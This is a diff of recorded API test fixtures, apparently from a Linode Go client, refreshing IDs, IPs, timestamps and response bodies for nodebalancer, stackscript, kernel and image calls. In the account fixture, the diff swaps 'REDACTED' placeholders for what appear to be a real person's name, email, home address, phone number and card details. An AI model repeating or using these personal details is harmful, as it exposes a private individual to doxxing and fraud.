- body: '{"id": 259601, "label": "balancer259601", "region": "us-southeast", "hostname":
- "139-144-164-56.ip.linodeusercontent.com", "ipv4": "139.144.164.56", "ipv6":
- "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
- "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null,
- "total": null}}'
+ body: '{"id": 357848, "label": "balancer357848", "region": "us-southeast", "hostname":
+ "66-228-63-200.ip.linodeusercontent.com", "ipv4": "66.228.63.200", "ipv6": "1234::5678",
+ "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle":
+ 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -33,7 +32,7 @@ interactions:
Cache-Control:
- private, max-age=60, s-maxage=60
Content-Length:
- - "344"
+ - "342"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -70,14 +69,14 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259601/configs
+ url: https://api.linode.com/v4beta/nodebalancers/357848/configs
method: POST
response:
- body: '{"id": 387287, "port": 80, "protocol": "http", "algorithm": "roundrobin",
+ body: '{"id": 550600, "port": 80, "protocol": "http", "algorithm": "roundrobin",
"stickiness": "none", "check": "none", "check_interval": 31, "check_timeout":
30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive":
true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id":
- 259601, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key":
+ 357848, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key":
null, "nodes_status": {"up": 0, "down": 0}}'
headers:
Access-Control-Allow-Credentials:
@@ -121,7 +120,7 @@ interactions:
code: 200
duration: ""
- request:
- body: '{"region":"us-southeast","type":"g6-nanode-1","label":"nodebalancer-example-instance","root_pass":"R34lBAdP455","image":"linode/debian9","booted":false}'
+ body: '{"region":"us-southeast","type":"g6-nanode-1","label":"nodebalancer-example-instance","root_pass":"R34lBAdP455!!!","image":"linode/debian9","booted":false}'
form: {}
headers:
Accept:
@@ -133,14 +132,15 @@ interactions:
url: https://api.linode.com/v4beta/linode/instances
method: POST
response:
- body: '{"id": 39431235, "label": "nodebalancer-example-instance", "group": "",
+ body: '{"id": 46624769, "label": "nodebalancer-example-instance", "group": "",
"status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
- "type": "g6-nanode-1", "ipv4": ["139.144.23.135"], "ipv6": "1234::5678/128",
+ "type": "g6-nanode-1", "ipv4": ["139.144.57.74"], "ipv6": "1234::5678/128",
"image": "linode/debian9", "region": "us-southeast", "specs": {"disk": 25600,
"memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu":
90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000},
- "backups": {"enabled": false, "schedule": {"day": null, "window": null}, "last_successful":
- null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": []}'
+ "backups": {"enabled": false, "available": false, "schedule": {"day": null,
+ "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled":
+ true, "tags": [], "host_uuid": "fb926254fc1ebd19daf0c3cf5b05cf55838da099"}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -155,7 +155,7 @@ interactions:
Cache-Control:
- private, max-age=60, s-maxage=60
Content-Length:
- - "651"
+ - "727"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -192,11 +192,11 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/linode/instances/39431235/ips
+ url: https://api.linode.com/v4beta/linode/instances/46624769/ips
method: POST
response:
- body: '{"address": "192.168.143.197", "gateway": null, "subnet_mask": "255.255.128.0",
- "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 39431235,
+ body: '{"address": "192.168.200.144", "gateway": null, "subnet_mask": "255.255.128.0",
+ "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 46624769,
"region": "us-southeast"}'
headers:
Access-Control-Allow-Credentials:
@@ -240,7 +240,7 @@ interactions:
code: 200
duration: ""
- request:
- body: '{"address":"192.168.143.197:80","label":"node-192.168.143.197"}'
+ body: '{"address":"192.168.200.144:80","label":"node-192.168.200.144"}'
form: {}
headers:
Accept:
@@ -249,12 +249,12 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259601/configs/387287/nodes
+ url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes
method: POST
response:
- body: '{"id": 68671177, "address": "192.168.143.197:80", "label": "node-192.168.143.197",
- "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 387287, "nodebalancer_id":
- 259601}'
+ body: '{"id": 483260124, "address": "192.168.200.144:80", "label": "node-192.168.200.144",
+ "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 550600, "nodebalancer_id":
+ 357848}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -269,7 +269,7 @@ interactions:
Cache-Control:
- private, max-age=60, s-maxage=60
Content-Length:
- - "183"
+ - "184"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -297,7 +297,7 @@ interactions:
code: 200
duration: ""
- request:
- body: '{"address":"192.168.143.197:8080","label":"node-192.168.143.197","weight":50,"mode":"accept"}'
+ body: '{"address":"192.168.200.144:8080","label":"node-192.168.200.144","weight":50,"mode":"accept"}'
form: {}
headers:
Accept:
@@ -306,12 +306,12 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259601/configs/387287/nodes/68671177
+ url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes/483260124
method: PUT
response:
- body: '{"id": 68671177, "address": "192.168.143.197:8080", "label": "node-192.168.143.197",
- "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 387287, "nodebalancer_id":
- 259601}'
+ body: '{"id": 483260124, "address": "192.168.200.144:8080", "label": "node-192.168.200.144",
+ "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 550600, "nodebalancer_id":
+ 357848}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -326,7 +326,7 @@ interactions:
Cache-Control:
- private, max-age=60, s-maxage=60
Content-Length:
- - "185"
+ - "186"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -363,12 +363,12 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259601/configs/387287/nodes
+ url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes
method: GET
response:
- body: '{"data": [{"id": 68671177, "address": "192.168.143.197:8080", "label":
- "node-192.168.143.197", "status": "Unknown", "weight": 50, "mode": "accept",
- "config_id": 387287, "nodebalancer_id": 259601}], "page": 1, "pages": 1, "results":
+ body: '{"data": [{"id": 483260124, "address": "192.168.200.144:8080", "label":
+ "node-192.168.200.144", "status": "Unknown", "weight": 50, "mode": "accept",
+ "config_id": 550600, "nodebalancer_id": 357848}], "page": 1, "pages": 1, "results":
1}'
headers:
Access-Control-Allow-Credentials:
@@ -385,7 +385,7 @@ interactions:
- private, max-age=0, s-maxage=0, no-cache, no-store
- private, max-age=60, s-maxage=60
Content-Length:
- - "234"
+ - "235"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -423,12 +423,12 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259601/configs/387287/nodes/68671177
+ url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes/483260124
method: GET
response:
- body: '{"id": 68671177, "address": "192.168.143.197:8080", "label": "node-192.168.143.197",
- "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 387287, "nodebalancer_id":
- 259601}'
+ body: '{"id": 483260124, "address": "192.168.200.144:8080", "label": "node-192.168.200.144",
+ "status": "Unknown", "weight": 50, "mode": "accept", "config_id": 550600, "nodebalancer_id":
+ 357848}'
headers:
Access-Control-Allow-Credentials:
- "true"
@@ -444,7 +444,7 @@ interactions:
- private, max-age=0, s-maxage=0, no-cache, no-store
- private, max-age=60, s-maxage=60
Content-Length:
- - "185"
+ - "186"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -482,7 +482,7 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259601/configs/387287/nodes/68671177
+ url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600/nodes/483260124
method: DELETE
response:
body: '{}'
@@ -537,7 +537,7 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259601/configs/387287
+ url: https://api.linode.com/v4beta/nodebalancers/357848/configs/550600
method: DELETE
response:
body: '{}'
@@ -592,7 +592,7 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/nodebalancers/259601
+ url: https://api.linode.com/v4beta/nodebalancers/357848
method: DELETE
response:
body: '{}'
@@ -647,7 +647,7 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/linode/instances/39431235
+ url: https://api.linode.com/v4beta/linode/instances/46624769
method: DELETE
response:
body: '{}'
diff --git a/test/integration/fixtures/ExampleCreateStackscript.yaml b/test/integration/fixtures/ExampleCreateStackscript.yaml
index 999b0e8ea..4c50ecbe3 100644
--- a/test/integration/fixtures/ExampleCreateStackscript.yaml
+++ b/test/integration/fixtures/ExampleCreateStackscript.yaml
@@ -2,8 +2,8 @@
version: 1
interactions:
- request:
- body: '{"label":"example stackscript 2022-10-10 16:10:36.04733161 -0400 EDT m=+9.216397383","description":"description
- for example stackscript 2022-10-10 16:10:36.04732714 -0400 EDT m=+9.216392933","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision
+ body: '{"label":"example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143","description":"description
+ for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision
1","script":"#!/bin/bash\n"}'
form: {}
headers:
@@ -16,10 +16,10 @@ interactions:
url: https://api.linode.com/v4beta/linode/stackscripts
method: POST
response:
- body: '{"id": 1071542, "username": "lgarber-dev", "user_gravatar_id": "0cb09f223e7ea849a635f016355fba33",
- "label": "example stackscript 2022-10-10 16:10:36.04733161 -0400 EDT m=+9.216397383",
- "description": "description for example stackscript 2022-10-10 16:10:36.04732714
- -0400 EDT m=+9.216392933", "ordinal": 0, "logo_url": "", "images": ["linode/debian9",
+ body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a",
+ "label": "example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143",
+ "description": "description for example stackscript 2023-05-31 13:49:07.801864
+ -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9",
"linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public":
false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "revision 1", "script": "#!/bin/bash\n", "user_defined_fields":
@@ -38,7 +38,7 @@ interactions:
Cache-Control:
- private, max-age=60, s-maxage=60
Content-Length:
- - "605"
+ - "600"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -66,9 +66,8 @@ interactions:
code: 200
duration: ""
- request:
- body: '{"label":"2 example stackscript 2022-10-10 16:10:36.04733161 -0400 EDT
- m=+9.216397383","description":"description for example stackscript 2022-10-10
- 16:10:36.04732714 -0400 EDT m=+9.216392933","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision
+ body: '{"label":"2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143","description":"description
+ for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision
2","script":"#!/bin/bash\necho 2\n"}'
form: {}
headers:
@@ -78,13 +77,13 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/linode/stackscripts/1071542
+ url: https://api.linode.com/v4beta/linode/stackscripts/1186275
method: PUT
response:
- body: '{"id": 1071542, "username": "lgarber-dev", "user_gravatar_id": "0cb09f223e7ea849a635f016355fba33",
- "label": "2 example stackscript 2022-10-10 16:10:36.04733161 -0400 EDT m=+9.216397383",
- "description": "description for example stackscript 2022-10-10 16:10:36.04732714
- -0400 EDT m=+9.216392933", "ordinal": 0, "logo_url": "", "images": ["linode/debian9",
+ body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a",
+ "label": "2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143",
+ "description": "description for example stackscript 2023-05-31 13:49:07.801864
+ -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9",
"linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public":
false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "revision 2", "script": "#!/bin/bash\necho 2\n", "user_defined_fields":
@@ -103,7 +102,7 @@ interactions:
Cache-Control:
- private, max-age=60, s-maxage=60
Content-Length:
- - "615"
+ - "610"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -131,9 +130,8 @@ interactions:
code: 200
duration: ""
- request:
- body: '{"label":"3 2 example stackscript 2022-10-10 16:10:36.04733161 -0400 EDT
- m=+9.216397383","description":"description for example stackscript 2022-10-10
- 16:10:36.04732714 -0400 EDT m=+9.216392933","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision
+ body: '{"label":"3 2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143","description":"description
+ for example stackscript 2023-05-31 13:49:07.801864 -0400 EDT m=+7.119711014","images":["linode/debian9","linode/ubuntu18.04"],"is_public":false,"rev_note":"revision
3","script":"#!/bin/bash\necho 2\necho 3\n"}'
form: {}
headers:
@@ -143,13 +141,13 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/linode/stackscripts/1071542
+ url: https://api.linode.com/v4beta/linode/stackscripts/1186275
method: PUT
response:
- body: '{"id": 1071542, "username": "lgarber-dev", "user_gravatar_id": "0cb09f223e7ea849a635f016355fba33",
- "label": "3 2 example stackscript 2022-10-10 16:10:36.04733161 -0400 EDT m=+9.216397383",
- "description": "description for example stackscript 2022-10-10 16:10:36.04732714
- -0400 EDT m=+9.216392933", "ordinal": 0, "logo_url": "", "images": ["linode/debian9",
+ body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a",
+ "label": "3 2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143",
+ "description": "description for example stackscript 2023-05-31 13:49:07.801864
+ -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9",
"linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public":
false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "revision 3", "script": "#!/bin/bash\necho 2\necho 3\n", "user_defined_fields":
@@ -168,7 +166,7 @@ interactions:
Cache-Control:
- private, max-age=60, s-maxage=60
Content-Length:
- - "625"
+ - "620"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -205,13 +203,13 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/linode/stackscripts/1071542
+ url: https://api.linode.com/v4beta/linode/stackscripts/1186275
method: GET
response:
- body: '{"id": 1071542, "username": "lgarber-dev", "user_gravatar_id": "0cb09f223e7ea849a635f016355fba33",
- "label": "3 2 example stackscript 2022-10-10 16:10:36.04733161 -0400 EDT m=+9.216397383",
- "description": "description for example stackscript 2022-10-10 16:10:36.04732714
- -0400 EDT m=+9.216392933", "ordinal": 0, "logo_url": "", "images": ["linode/debian9",
+ body: '{"id": 1186275, "username": "lgarber-dev", "user_gravatar_id": "b6bcdca85aede1f66a5ae80ae246b16a",
+ "label": "3 2 example stackscript 2023-05-31 13:49:07.80187 -0400 EDT m=+7.119717143",
+ "description": "description for example stackscript 2023-05-31 13:49:07.801864
+ -0400 EDT m=+7.119711014", "ordinal": 0, "logo_url": "", "images": ["linode/debian9",
"linode/ubuntu18.04"], "deployments_total": 0, "deployments_active": 0, "is_public":
false, "mine": true, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "revision 3", "script": "#!/bin/bash\necho 2\necho 3\n", "user_defined_fields":
@@ -231,7 +229,7 @@ interactions:
- private, max-age=0, s-maxage=0, no-cache, no-store
- private, max-age=60, s-maxage=60
Content-Length:
- - "625"
+ - "620"
Content-Security-Policy:
- default-src 'none'
Content-Type:
@@ -269,7 +267,7 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/linode/stackscripts/1071542
+ url: https://api.linode.com/v4beta/linode/stackscripts/1186275
method: DELETE
response:
body: '{}'
diff --git a/test/integration/fixtures/ExampleGetAccount.yaml b/test/integration/fixtures/ExampleGetAccount.yaml
index b91df39f1..3fa04a656 100644
--- a/test/integration/fixtures/ExampleGetAccount.yaml
+++ b/test/integration/fixtures/ExampleGetAccount.yaml
@@ -14,14 +14,14 @@ interactions:
url: https://api.linode.com/v4beta/account
method: GET
response:
- body: '{"company": "Linode", "email": "REDACTED", "first_name": "REDACTED",
- "last_name": "REDACTED", "address_1": "REDACTED", "address_2": "NA",
- "city": "REDACTED", "state": "REDACTED", "zip": "REDACTED", "country": "US", "phone":
- "REDACTED", "balance": 0.0, "tax_id": "", "billing_source": "linode", "credit_card":
- {"last_four": "REDACTED", "expiry": "REDACTED"}, "balance_uninvoiced": 0.0, "active_since":
+ body: '{"company": "Linode", "email": "lgarber@linode.com", "first_name": "Lena",
+ "last_name": "Garber", "address_1": "2228 Lenox Ridge Ct NE", "address_2": "NA",
+ "city": "Atlanta", "state": "GA", "zip": "30319", "country": "US", "phone":
+ "6787613864", "balance": 0.0, "tax_id": "", "billing_source": "linode", "credit_card":
+ {"last_four": "1488", "expiry": "02/2022"}, "balance_uninvoiced": 0.0, "active_since":
"2018-01-02T03:04:05", "capabilities": ["Linodes", "NodeBalancers", "Block Storage",
"Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "LKE HA Control Planes",
- "Machine Images", "Managed Databases"], "active_promotions": [], "euuid": "REDACTED"}'
+ "Machine Images", "Managed Databases"], "active_promotions": [], "euuid": "590F6313-2E4D-47CE-90943D2F724A87CB"}'
headers:
Access-Control-Allow-Credentials:
- "true"
diff --git a/test/integration/fixtures/ExampleGetKernel_specific.yaml b/test/integration/fixtures/ExampleGetKernel_specific.yaml
index e0dd6b83f..6f521c5c1 100644
--- a/test/integration/fixtures/ExampleGetKernel_specific.yaml
+++ b/test/integration/fixtures/ExampleGetKernel_specific.yaml
@@ -11,11 +11,11 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/linode/kernels/linode/latest-32bit
+ url: https://api.linode.com/v4beta/linode/kernels/linode%2Flatest-32bit
method: GET
response:
- body: '{"id": "linode/latest-32bit", "label": "Latest 32 bit (5.19.2-x86-linode176)",
- "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
+ body: '{"id": "linode/latest-32bit", "label": "Latest 32 bit (6.1.10-x86-linode179)",
+ "version": "6.1.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated":
false, "built": "2018-01-02T03:04:05"}'
headers:
Access-Control-Allow-Credentials:
@@ -70,11 +70,11 @@ interactions:
- application/json
User-Agent:
- linodego/dev https://github.com/linode/linodego
- url: https://api.linode.com/v4beta/linode/kernels/linode/latest-64bit
+ url: https://api.linode.com/v4beta/linode/kernels/linode%2Flatest-64bit
method: GET
response:
- body: '{"id": "linode/latest-64bit", "label": "Latest 64 bit (5.19.2-x86_64-linode156)",
- "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
+ body: '{"id": "linode/latest-64bit", "label": "Latest 64 bit (6.1.10-x86_64-linode159)",
+ "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated":
false, "built": "2018-01-02T03:04:05"}'
headers:
Access-Control-Allow-Credentials:
diff --git a/test/integration/fixtures/ExampleListImages_all.yaml b/test/integration/fixtures/ExampleListImages_all.yaml
index d63b073a0..2810519e7 100644
--- a/test/integration/fixtures/ExampleListImages_all.yaml
+++ b/test/integration/fixtures/ExampleListImages_all.yaml
@@ -14,188 +14,156 @@ interactions:
url: https://api.linode.com/v4beta/images
method: GET
response:
- body: '{"pages": 1, "data": [{"id": "private/17578301", "label": "lke75476-117332-63408dedda63
- - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated":
- null, "size": 4444, "created_by": null, "type": "automatic", "is_public": false,
+ body: '{"pages": 1, "data": [{"id": "private/20403225", "label": "splunk-build
+ - Alpine 3.17 Disk", "description": "", "created": "2018-01-02T03:04:05", "updated":
+ null, "size": 5463, "created_by": null, "type": "automatic", "is_public": false,
"deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol":
- null, "status": "available"}, {"id": "private/17578303", "label": "lke75476-117332-63408ded6fe5
- - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated":
- null, "size": 4415, "created_by": null, "type": "automatic", "is_public": false,
- "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol":
- null, "status": "available"}, {"id": "private/17578305", "label": "lke75476-117332-63408ded0595
- - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated":
- null, "size": 4689, "created_by": null, "type": "automatic", "is_public": false,
- "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol":
- null, "status": "available"}, {"id": "private/17578309", "label": "lke75477-117333-63408e2ba8de
- - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated":
- null, "size": 4644, "created_by": null, "type": "automatic", "is_public": false,
- "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol":
- null, "status": "available"}, {"id": "private/17578318", "label": "lke75477-117333-63408e2add48
- - Boot Disk", "description": "", "created": "2018-01-02T03:04:05", "updated":
- null, "size": 4353, "created_by": null, "type": "automatic", "is_public": false,
- "deprecated": false, "vendor": null, "expiry": "2018-01-02T03:04:05", "eol":
- null, "status": "available"}, {"id": "linode/almalinux8", "label": "AlmaLinux
- 8", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated":
- "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
- "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05",
- "status": "available"}, {"id": "linode/almalinux9", "label": "AlmaLinux 9",
- "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated":
- "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
- "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05",
- "status": "available"}, {"id": "linode/alpine3.12", "label": "Alpine 3.12",
- "deprecated": false, "size": 300, "created": "2018-01-02T03:04:05", "updated":
- "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
- "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05",
- "status": "available"}, {"id": "linode/alpine3.13", "label": "Alpine 3.13",
- "deprecated": false, "size": 300, "created": "2018-01-02T03:04:05", "updated":
- "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
- "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05",
- "status": "available"}, {"id": "linode/alpine3.14", "label": "Alpine 3.14",
- "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated":
- "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
- "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05",
- "status": "available"}, {"id": "linode/alpine3.15", "label": "Alpine 3.15",
- "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated":
- "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
- "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05",
- "status": "available"}, {"id": "linode/alpine3.16", "label": "Alpine 3.16",
- "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated":
+ null, "status": "available", "capabilities": []}, {"id": "linode/almalinux8",
+ "label": "AlmaLinux 8", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05",
+ "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode",
+ "type": "manual", "is_public": true, "vendor": "AlmaLinux", "expiry": null,
+ "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": []}, {"id":
+ "linode/almalinux9", "label": "AlmaLinux 9", "deprecated": false, "size": 1700,
+ "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
+ "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "AlmaLinux",
+ "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities":
+ []}, {"id": "linode/alpine3.14", "label": "Alpine 3.14", "deprecated": false,
+ "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
+ "description": "", "created_by": "linode", "type": "manual", "is_public": true,
+ "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status":
+ "available", "capabilities": []}, {"id": "linode/alpine3.15", "label": "Alpine
+ 3.15", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated":
"2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual",
"is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05",
- "status": "available"}, {"id": "linode/arch", "label": "Arch Linux", "deprecated":
- false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
- "description": "", "created_by": "linode", "type": "manual", "is_public": true,
- "vendor": "Arch", "expiry": null, "eol": null, "status": "available"}, {"id":
- "linode/centos7", "label": "CentOS 7", "deprecated": false, "size": 2800, "created":
- "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "",
- "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/centos-stream8", "label": "CentOS Stream 8", "deprecated": false, "size":
- 2600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/centos-stream9", "label": "CentOS Stream 9", "deprecated": false, "size":
- 1200, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/debian10", "label": "Debian 10", "deprecated": false, "size": 1500,
- "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/debian11", "label": "Debian 11", "deprecated": false, "size": 1300,
- "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/debian9", "label": "Debian 9", "deprecated": false, "size": 1600, "created":
- "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "",
- "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/fedora34", "label": "Fedora 34", "deprecated": false, "size": 1800,
- "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/fedora35", "label": "Fedora 35", "deprecated": false, "size": 1500,
- "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/fedora36", "label": "Fedora 36", "deprecated": false, "size": 1600,
- "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description":
- "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora",
- "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id":
- "linode/gentoo", "label": "Gentoo", "deprecated": false, "size": 4600, "created":
